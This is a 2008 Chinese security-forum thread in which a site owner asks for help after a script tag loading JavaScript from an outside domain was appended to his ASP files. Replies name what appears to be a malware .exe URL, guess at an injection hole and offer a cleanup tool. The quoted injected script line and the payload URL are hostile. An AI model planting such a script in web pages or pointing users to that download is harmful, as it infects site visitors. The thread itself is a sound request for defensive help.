瑞星卡卡安全论坛

首页 » 技术交流区 » 入侵防御(HIPS) » 求助src="http://office2.viens.la/office.js?
流浪的熊 - 2008-12-29 23:15:00
网站部分asp文件尾被加上了这段代码<script language="javascript" src="http://office2.viens.la/office.js?do=list&uid=193&type=blog"></script>

访问网站就会提示此网站有病毒……

把这段代码删除后,好了几天,又中了,现在加了防注水代码,不知道能挺几天……

用户系统信息:Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; MAXTHON 2.0)
流浪的熊 - 2008-12-30 9:38:00
有人帮助否?
流浪的熊 - 2008-12-30 10:14:00

网站打开会有这个东东……
networkedition - 2008-12-30 12:38:00
http://www.tyjhhh.cn/1.exe
流浪的熊 - 2008-12-30 18:40:00
什么意思?
流浪的熊 - 2009-1-1 14:49:00
有高手帮助不?
メ冰枫ぱ雪 - 2009-1-1 17:31:00
应该你网站有注入漏洞了吧,我现在把网站的代码全部整改了。

完全用正则和自写函数过滤恶意代码,万恶的攻击者。。
流浪的熊 - 2009-1-3 11:51:00
可是加了防注的代码还是有问题,是不是防的不对?
aaccbbdd - 2009-1-3 15:20:00
可能是是数据库漏洞

http://office2.viens.la/office.js
可以试试附件清理(使用有风险)

本工具由剑盟技术团队出品

附件: 网页感染清除精灵1.1.rar
流浪的熊 - 2009-1-4 10:45:00
好的,谢谢
收费 - 2009-1-4 12:29:00
学习
1
查看完整版本: 求助src="http://office2.viens.la/office.js?